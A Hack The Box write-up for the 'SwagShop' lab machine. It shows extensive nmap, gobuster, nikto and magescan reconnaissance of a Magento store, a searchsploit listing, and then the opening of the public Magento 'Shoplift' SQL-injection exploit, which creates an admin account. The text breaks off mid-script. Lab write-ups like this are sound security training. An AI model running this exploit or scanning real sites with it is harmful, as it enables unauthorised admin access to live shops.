HacktheBox 'SwagShop' writeup
‘SwagShop’ HTB Writeup
Host Information
| Hostname | IP Address | Operating System | Difficulty Level |
| SwagShop | 10.10.10.140 | Linux | Easy |
Writeup Contents:
(you can jump to the section using these links)
Initial Recon
Again, we start with our initial recon of the target system. We’ll use the same enumeration automation script we used on a few other recent boxes - nmapAutomator. You can find and download the script here on Github.
Let’s run a full scan against the target:
root@kali:/writeups/HTB/swagshop/enumeration# nmapAutomator.sh 10.10.10.140 all
Running a all scan on 10.10.10.140
Host is likely running Linux
---------------------Starting Nmap Quick Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-31 13:09 CST
Nmap scan report for 10.10.10.140
Host is up (0.029s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds
---------------------Starting Nmap Basic Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-31 13:09 CST
Nmap scan report for 10.10.10.140
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.20 seconds
----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-31 13:09 CST
Warning: 10.10.10.140 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.140
Host is up (0.029s latency).
All 1000 scanned ports on 10.10.10.140 are open|filtered (947) or closed (53)
Nmap done: 1 IP address (1 host up) scanned in 48.02 seconds
---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-31 13:10 CST
Initiating Parallel DNS resolution of 1 host. at 13:10
Completed Parallel DNS resolution of 1 host. at 13:10, 0.01s elapsed
Initiating SYN Stealth Scan at 13:10
Scanning 10.10.10.140 [65535 ports]
Discovered open port 80/tcp on 10.10.10.140
Discovered open port 22/tcp on 10.10.10.140
SYN Stealth Scan Timing: About 22.98% done; ETC: 13:12 (0:01:44 remaining)
SYN Stealth Scan Timing: About 45.87% done; ETC: 13:12 (0:01:12 remaining)
SYN Stealth Scan Timing: About 68.76% done; ETC: 13:12 (0:00:41 remaining)
Completed SYN Stealth Scan at 13:12, 131.16s elapsed (65535 total ports)
Nmap scan report for 10.10.10.140
Host is up (0.029s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 131.25 seconds
Raw packets sent: 65566 (2.885MB) | Rcvd: 65535 (2.621MB)
No new ports
---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-31 13:12 CST
Nmap scan report for 10.10.10.140
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| vulners:
| cpe:/a:apache:http_server:2.4.18:
| CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
| CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
| CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169
| CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167
|_ CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.31 seconds
Running Vuln scan on basic ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-31 13:13 CST
Nmap scan report for 10.10.10.140
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.140
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.10.10.140:80/
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/checkout/cart/
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/checkout/cart/
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/customer/account/login/
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/customer/account/login/
| Form id: login-form
| Form action: http://10.10.10.140/index.php/customer/account/loginPost/
|
| Path: http://10.10.10.140:80/index.php/customer/account/login/
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/catalogsearch/advanced/
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/catalogsearch/advanced/
| Form id: form-validate
| Form action: http://10.10.10.140/index.php/catalogsearch/advanced/result/
|
| Path: http://10.10.10.140:80/index.php/catalogsearch/advanced/
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/about-magento-demo-store/
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/about-magento-demo-store/
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/customer/account/login/
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/customer/account/login/
| Form id: login-form
| Form action: http://10.10.10.140/index.php/customer/account/loginPost/
|
| Path: http://10.10.10.140:80/index.php/customer/account/login/
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/hack-the-box-logo-t-shirt.html
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/hack-the-box-logo-t-shirt.html
| Form id: product_addtocart_form
| Form action: http://10.10.10.140/index.php/checkout/cart/add/uenc/aHR0cDovLzEwLjEwLjEwLjE0MC9pbmRleC5waHAvaGFjay10aGUtYm94LWxvZ28tdC1zaGlydC5odG1sP19fX1NJRD1V/product/1/form_key/o8RFDstkwLPikmal/
|
| Path: http://10.10.10.140:80/index.php/hack-the-box-logo-t-shirt.html
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/privacy-policy-cookie-restriction-mode/
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/privacy-policy-cookie-restriction-mode/
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/
| Form id: newsletter-validate-detail
| Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|
| Path: http://10.10.10.140:80/index.php/5-x-hack-the-box-sticker.html
| Form id: search_mini_form
| Form action: http://10.10.10.140/index.php/catalogsearch/result/
|
| Path: http://10.10.10.140:80/index.php/5-x-hack-the-box-sticker.html
| Form id: product_addtocart_form
| Form action: http://10.10.10.140/index.php/checkout/cart/add/uenc/aHR0cDovLzEwLjEwLjEwLjE0MC9pbmRleC5waHAvNS14LWhhY2stdGhlLWJveC1zdGlja2VyLmh0bWw_X19fU0lEPVU,/product/3/form_key/if9TJ8EN9JpETlCv/
|
| Path: http://10.10.10.140:80/index.php/5-x-hack-the-box-sticker.html
| Form id: newsletter-validate-detail
|_ Form action: http://10.10.10.140/index.php/newsletter/subscriber/new/
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /app/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
| /errors/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
| /includes/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_ /lib/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners:
| cpe:/a:apache:http_server:2.4.18:
| CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
| CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
| CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169
| CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167
| CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211
| CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312
| CVE-2017-15715 6.8 https://vulners.com/cve/CVE-2017-15715
| CVE-2019-10082 6.4 https://vulners.com/cve/CVE-2019-10082
| CVE-2017-9788 6.4 https://vulners.com/cve/CVE-2017-9788
| CVE-2019-0217 6.0 https://vulners.com/cve/CVE-2019-0217
| CVE-2019-10098 5.8 https://vulners.com/cve/CVE-2019-10098
| CVE-2019-0220 5.0 https://vulners.com/cve/CVE-2019-0220
| CVE-2019-0196 5.0 https://vulners.com/cve/CVE-2019-0196
| CVE-2018-17199 5.0 https://vulners.com/cve/CVE-2018-17199
| CVE-2018-1333 5.0 https://vulners.com/cve/CVE-2018-1333
| CVE-2017-9798 5.0 https://vulners.com/cve/CVE-2017-9798
| CVE-2017-15710 5.0 https://vulners.com/cve/CVE-2017-15710
| CVE-2016-8743 5.0 https://vulners.com/cve/CVE-2016-8743
| CVE-2016-8740 5.0 https://vulners.com/cve/CVE-2016-8740
| CVE-2016-4979 5.0 https://vulners.com/cve/CVE-2016-4979
| CVE-2019-0197 4.9 https://vulners.com/cve/CVE-2019-0197
| CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092
| CVE-2018-11763 4.3 https://vulners.com/cve/CVE-2018-11763
| CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975
| CVE-2016-1546 4.3 https://vulners.com/cve/CVE-2016-1546
| CVE-2018-1283 3.5 https://vulners.com/cve/CVE-2018-1283
|_ CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 328.23 seconds
---------------------Recon Recommendations----------------------
Web Servers Recon:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.140:80 -o recon/gobuster_10.10.10.140_80.txt
nikto -host 10.10.10.140:80 | tee recon/nikto_10.10.10.140_80.txt
Which commands would you like to run?
All (Default), gobuster, nikto, Skip <!>
Running Default in (1) s:
---------------------Running Recon Commands----------------------
Starting gobuster scan
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.140:80
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/01/31 13:19:00 Starting gobuster
===============================================================
http://10.10.10.140:80/.hta (Status: 403) [Size: 291]
http://10.10.10.140:80/.hta.php (Status: 403) [Size: 295]
http://10.10.10.140:80/.htaccess (Status: 403) [Size: 296]
http://10.10.10.140:80/.htaccess.html (Status: 403) [Size: 301]
http://10.10.10.140:80/.htaccess.php (Status: 403) [Size: 300]
http://10.10.10.140:80/.hta.html (Status: 403) [Size: 296]
http://10.10.10.140:80/.htpasswd (Status: 403) [Size: 296]
http://10.10.10.140:80/.htpasswd.html (Status: 403) [Size: 301]
http://10.10.10.140:80/.htpasswd.php (Status: 403) [Size: 300]
http://10.10.10.140:80/app (Status: 301) [Size: 310]
http://10.10.10.140:80/api.php (Status: 200) [Size: 37]
http://10.10.10.140:80/cron.php (Status: 200) [Size: 0]
http://10.10.10.140:80/errors (Status: 301) [Size: 313]
http://10.10.10.140:80/favicon.ico (Status: 200) [Size: 1150]
http://10.10.10.140:80/includes (Status: 301) [Size: 315]
http://10.10.10.140:80/index.php (Status: 200) [Size: 16097]
http://10.10.10.140:80/index.php (Status: 200) [Size: 16097]
http://10.10.10.140:80/install.php (Status: 200) [Size: 44]
http://10.10.10.140:80/js (Status: 301) [Size: 309]
http://10.10.10.140:80/lib (Status: 301) [Size: 310]
http://10.10.10.140:80/LICENSE.html (Status: 200) [Size: 10679]
http://10.10.10.140:80/media (Status: 301) [Size: 312]
http://10.10.10.140:80/pkginfo (Status: 301) [Size: 314]
http://10.10.10.140:80/server-status (Status: 403) [Size: 300]
http://10.10.10.140:80/shell (Status: 301) [Size: 312]
http://10.10.10.140:80/skin (Status: 301) [Size: 311]
http://10.10.10.140:80/var (Status: 301) [Size: 310]
===============================================================
2020/01/31 13:19:28 Finished
===============================================================
Finished gobuster scan
=========================
Starting nikto scan
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.140
+ Target Hostname: 10.10.10.140
+ Target Port: 80
+ Start Time: 2020-01-31 13:19:28 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-39272: /favicon.ico file identifies this app/server as: Magento Go CMS
+ OSVDB-39272: /skin/frontend/base/default/favicon.ico file identifies this app/server as: Magento Go CMS
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3268: /app/: Directory indexing found.
+ OSVDB-3092: /app/: This might be interesting...
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3268: /lib/: Directory indexing found.
+ OSVDB-3092: /lib/: This might be interesting...
+ OSVDB-3092: /install.php: install.php file found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /RELEASE_NOTES.txt: A database error may reveal internal details about the running database.
+ /RELEASE_NOTES.txt: Magento Shop Changelog identified.
+ /skin/adminhtml/default/default/media/editor.swf: Several Adobe Flash files that ship with Magento are vulnerable to DOM based Cross Site Scripting (XSS). See http://appcheck-ng.com/unpatched-vulnerabilites-in-magento-e-commerce-platform/
+ /skin/adminhtml/default/default/media/uploader.swf: Several Adobe Flash files that ship with Magento are vulnerable to DOM based Cross Site Scripting (XSS). See http://appcheck-ng.com/unpatched-vulnerabilites-in-magento-e-commerce-platform/
+ /skin/adminhtml/default/default/media/uploaderSingle.swf: Several Adobe Flash files that ship with Magento are vulnerable to DOM based Cross Site Scripting (XSS). See http://appcheck-ng.com/unpatched-vulnerabilites-in-magento-e-commerce-platform/
+ 7864 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time: 2020-01-31 13:25:02 (GMT-6) (334 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Finished nikto scan
=========================
---------------------Finished all Nmap scans---------------------
Completed in 15 minute(s) and 18 second(s)
OK, se we see we have a Linux server with both HTTP and SSH open on their standard ports. Looks like gobuster returned a number of pages, let’s check them out.
Upon visit to the main URI, we’re presented with what seems to be a storefront page, as shown below:
We see that this is a Magento storefront, and a quick websearch revesals this to be a well-known open-source ecommerce platform. Poking around a little, a version of the software is not immediately obvious, though we do see a copyright 2014 date at the bottom of the page, which seems pretty old. Let’s see if we can find a way to further enumerate the platform and find the version of the software, to see if we can find an applicable exploit. I have an initial hunch that a potential attack vector will be SQL injection, as the site has a lot of input fields, and is bound to have some sort of database, but we’ll see.
further enumeration
A quick search gives us an article presenting a few potential options on how to check the version. Let’s try seeing if the following URL resolves first: http://10.10.10.140/magento_version. We seem to get a 404:
Not Found
The requested URL /magento_version was not found on this server.
Apache/2.4.18 (Ubuntu) Server at 10.10.10.140 Port 80
However, one thing interesting I noticed earlier when poking around the site is that all of the URLs seemed to be prepended with index.php, before the rest of the URL. This probably points to some kind of apache or Magento misconfiguration. For instance, if we wanted to go to the “My Account” section of the page, the URL is http://10.10.10.140/index.php/customer/account/login/, rather than a more sane, expected format, like http://10.10.10.140/customer/account/login/. Just something to keep in mind while we’re assessing this box. So let’s try modifying the version URL to http://10.10.10.140/index.php/magento_version. Going there as well, however, seems to 404 as well (this time with a magento themed page, not apache) - so they’ve probably hidden or disabled that page, at least external.
The site also mentioned an interesting magento enumeration tool, MageScan. Let’s see if we can check that out and give it a run.
running magescan
We see a github link for magescan, so let’s try to clone that package and run it.
root@kali:/recon# git clone https://github.com/steverobbins/magescan.git
Cloning into 'magescan'...
remote: Enumerating objects: 1988, done.
remote: Total 1988 (delta 0), reused 0 (delta 0), pack-reused 1988
Receiving objects: 100% (1988/1988), 346.07 KiB | 3.60 MiB/s, done.
Resolving deltas: 100% (923/923), done.
Following the installation instructions on github to install from source seem to fail out dur to missing php requirements, so let’s try installation from the .phar method:
root@kali:/recon/magescan# wget https://github.com/steverobbins/magescan/releases/download/v1.12.9/magescan.phar
--2020-02-01 11:26:51-- https://github.com/steverobbins/magescan/releases/download/v1.12.9/magescan.phar
Resolving github.com (github.com)... 140.82.113.4
Connecting to github.com (github.com)|140.82.113.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github-production-release-asset-2e65be.s3.amazonaws.com/32045445/65951600-2ead-11e9-8c92-245450d23b52?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20200201%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20200201T172651Z&X-Amz-Expires=300&X-Amz-Signature=e778ae2edc322eb5419d8906fc8a4c28e594e9c82dc42f16aa5a760fdf4deba1&X-Amz-SignedHeaders=host&actor_id=0&response-content-disposition=attachment%3B%20filename%3Dmagescan.phar&response-content-type=application%2Foctet-stream [following]
--2020-02-01 11:26:52-- https://github-production-release-asset-2e65be.s3.amazonaws.com/32045445/65951600-2ead-11e9-8c92-245450d23b52?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20200201%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20200201T172651Z&X-Amz-Expires=300&X-Amz-Signature=e778ae2edc322eb5419d8906fc8a4c28e594e9c82dc42f16aa5a760fdf4deba1&X-Amz-SignedHeaders=host&actor_id=0&response-content-disposition=attachment%3B%20filename%3Dmagescan.phar&response-content-type=application%2Foctet-stream
Resolving github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)... 52.217.43.4
Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)|52.217.43.4|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 451175 (441K) [application/octet-stream]
Saving to: ‘magescan.phar’
magescan.phar 100%[===========================================================>] 440.60K --.-KB/s in 0.1s
2020-02-01 11:26:52 (3.24 MB/s) - ‘magescan.phar’ saved [451175/451175]
Now we should be able to run it with the following command: php magescan.phar scan:all http://10.10.10.140. Let’s give it a run and see the output:
root@kali:/recon/magescan# php magescan.phar scan:all http://10.10.10.140
Scanning http://10.10.10.140/...
Magento Information
+-----------+------------------+
| Parameter | Value |
+-----------+------------------+
| Edition | Community |
| Version | 1.9.0.0, 1.9.0.1 |
+-----------+------------------+
Installed Modules
No detectable modules were found
Catalog Information
+------------+---------+
| Type | Count |
+------------+---------+
| Categories | Unknown |
| Products | Unknown |
+------------+---------+
Patches
+------------+---------+
| Name | Status |
+------------+---------+
| SUPEE-5344 | Unknown |
| SUPEE-5994 | Unknown |
| SUPEE-6285 | Unknown |
| SUPEE-6482 | Unknown |
| SUPEE-6788 | Unknown |
| SUPEE-7405 | Unknown |
| SUPEE-8788 | Unknown |
+------------+---------+
Sitemap
Sitemap is not declared in robots.txt
Sitemap is not accessible: http://10.10.10.140/sitemap.xml
Server Technology
+--------+------------------------+
| Key | Value |
+--------+------------------------+
| Server | Apache/2.4.18 (Ubuntu) |
+--------+------------------------+
Unreachable Path Check
+----------------------------------------------+---------------+--------+
| Path | Response Code | Status |
+----------------------------------------------+---------------+--------+
| .bzr/ | 404 | Pass |
| .cvs/ | 404 | Pass |
| .git/ | 404 | Pass |
| .git/config | 404 | Pass |
| .git/refs/ | 404 | Pass |
| .gitignore | 404 | Pass |
| .hg/ | 404 | Pass |
| .idea | 404 | Pass |
| .svn/ | 404 | Pass |
| .svn/entries | 404 | Pass |
| admin/ | 404 | Pass |
| admin123/ | 404 | Pass |
| adminer.php | 404 | Pass |
| administrator/ | 404 | Pass |
| adminpanel/ | 404 | Pass |
| aittmp/index.php | 404 | Pass |
| app/etc/enterprise.xml | 404 | Pass |
| app/etc/local.xml | 200 | Fail |
| backend/ | 404 | Pass |
| backoffice/ | 404 | Pass |
| beheer/ | 404 | Pass |
| capistrano/config/deploy.rb | 404 | Pass |
| chive | 404 | Pass |
| composer.json | 404 | Pass |
| composer.lock | 404 | Pass |
| vendor/composer/installed.json | 404 | Pass |
| config/deploy.rb | 404 | Pass |
| control/ | 404 | Pass |
| dev/tests/functional/etc/config.xml | 404 | Pass |
| downloader/index.php | 404 | Pass |
| index.php/rss/order/NEW/new | 200 | Fail |
| info.php | 404 | Pass |
| mageaudit.php | 404 | Pass |
| magmi/ | 404 | Pass |
| magmi/conf/magmi.ini | 404 | Pass |
| magmi/web/magmi.php | 404 | Pass |
| Makefile | 404 | Pass |
| manage/ | 404 | Pass |
| management/ | 404 | Pass |
| manager/ | 404 | Pass |
| modman | 404 | Pass |
| p.php | 404 | Pass |
| panel/ | 404 | Pass |
| phpinfo.php | 404 | Pass |
| phpmyadmin | 404 | Pass |
| README.md | 404 | Pass |
| README.txt | 404 | Pass |
| shell/ | 200 | Fail |
| shopadmin/ | 404 | Pass |
| site_admin/ | 404 | Pass |
| var/export/ | 404 | Pass |
| var/export/export_all_products.csv | 404 | Pass |
| var/export/export_customers.csv | 404 | Pass |
| var/export/export_product_stocks.csv | 404 | Pass |
| var/log/ | 404 | Pass |
| var/log/exception.log | 404 | Pass |
| var/log/payment_authnetcim.log | 404 | Pass |
| var/log/payment_authorizenet.log | 404 | Pass |
| var/log/payment_authorizenet_directpost.log | 404 | Pass |
| var/log/payment_cybersource_soap.log | 404 | Pass |
| var/log/payment_ogone.log | 404 | Pass |
| var/log/payment_payflow_advanced.log | 404 | Pass |
| var/log/payment_payflow_link.log | 404 | Pass |
| var/log/payment_paypal_billing_agreement.log | 404 | Pass |
| var/log/payment_paypal_direct.log | 404 | Pass |
| var/log/payment_paypal_express.log | 404 | Pass |
| var/log/payment_paypal_standard.log | 404 | Pass |
| var/log/payment_paypaluk_express.log | 404 | Pass |
| var/log/payment_pbridge.log | 404 | Pass |
| var/log/payment_verisign.log | 404 | Pass |
| var/log/system.log | 404 | Pass |
| var/report/ | 404 | Pass |
+----------------------------------------------+---------------+--------+
Interesting. So the version of magento was detected as either 1.9.0 or 1.9.1. We get confirmatino that the hunderlying host server is running Apache 2.4..18 on Ubuntu, and it appears magescan does not believe any plugins are installed on this implementation of magento.
Quickly checking a few items that show up as “Fail” on the Unreachable Path Check, such as shell/ and index.php/rss/order/NEW/new don’t seem to turn up anything immediately actionable. The shell directory turns up a listable index, as shown below, but none of the files inside seem to be of immediate import.
Index of /shell
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[ ] abstract.php 2014-05-07 14:58 5.5K
[ ] compiler.php 2014-05-07 14:58 4.3K
[ ] indexer.php 2014-05-07 14:58 8.0K
[ ] log.php 2014-05-07 14:58 5.8K
Apache/2.4.18 (Ubuntu) Server at 10.10.10.140 Port 80
Let’s check searchsploit to see what they have on magento:
root@kali:/recon/magescan# searchsploit magento
--------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------- ----------------------------------------
Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scr | exploits/php/webapps/32808.txt
Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Si | exploits/php/webapps/32809.txt
Magento 1.2 - 'downloader/index.php' Cross-Site Scripting | exploits/php/webapps/32810.txt
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File | exploits/php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | exploits/php/webapps/37811.py
Magento Server MAGMI Plugin - Multiple Vulnerabilities | exploits/php/webapps/35996.txt
Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion | exploits/php/webapps/35052.txt
Magento eCommerce - Local File Disclosure | exploits/php/webapps/19793.txt
Magento eCommerce - Remote Code Execution | exploits/xml/webapps/37977.py
eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection | exploits/php/webapps/38573.txt
eBay Magento CE 1.9.2.1 - Unrestricted Cron Script (Code Execution / Denial of Service) | exploits/php/webapps/38651.txt
--------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
OK, so the 1.2 version exploits are going to be too old; there’s an arbitrary write file that may be handy. There’s also an arbitrary remote code execution, which sounds perfect, but it’s authenticated, and we don’t yet have credentials. If we could get credentials, this might be perfect though.
Let’s check out this one:
Magento eCommerce - Remote Code Execution | exploits/xml/webapps/37977.py
Doing a quick examinng of the code, it looks promising - seems to be doing some SQL injection on an admin page to create a new user to log in with, which may be exactly what we need. The exploit says:
If magento version is vulnerable, this script will create admin account with username forme and password forme
Let’s download it locally, and take a further look.
exploiting magento
root@kali:/writeups/HTB/swagshop/exploits# searchsploit -m exploits/xml/webapps/37977.py
Exploit: Magento eCommerce - Remote Code Execution
URL: https://www.exploit-db.com/exploits/37977
Path: /usr/share/exploitdb/exploits/xml/webapps/37977.py
File Type: ASCII text, with CRLF line terminators
Copied to: /writeups/HTB/swagshop/exploits/37977.py
root@kali:/writeups/HTB/swagshop/exploits# mv 37977.py magento_php_entity_injection.py
Here’s the exploit code:
root@kali:/writeups/HTB/swagshop/exploits# cat magento_php_entity_injection.py
##################################################################################################
#Exploit Title : Magento Shoplift exploit (SUPEE-5344)
#Author : Manish Kishan Tanwar AKA error1046
#Date : 25/08/2015
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Debugged At : Indishell Lab(originally developed by joren)
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
Magento shoplift bug originally discovered by CheckPoint team (http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/)
This python script developed by joren but it was having some bug because of which it was not working properly.
If magento version is vulnerable, this script will create admin account with username forme and password forme
////////////////
/// POC ////
///////////////
Exploit script starts here
///////////////////
#Thanks to
# Zero cool, code breaker ICA, Team indishell, my father , rr mam, jagriti and DON
import requests
import base64
import sys
target = "http://target.com/"
if not target.startswith("http"):
target = "http://" + target
if target.endswith("/"):
target = target[:-1]
target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
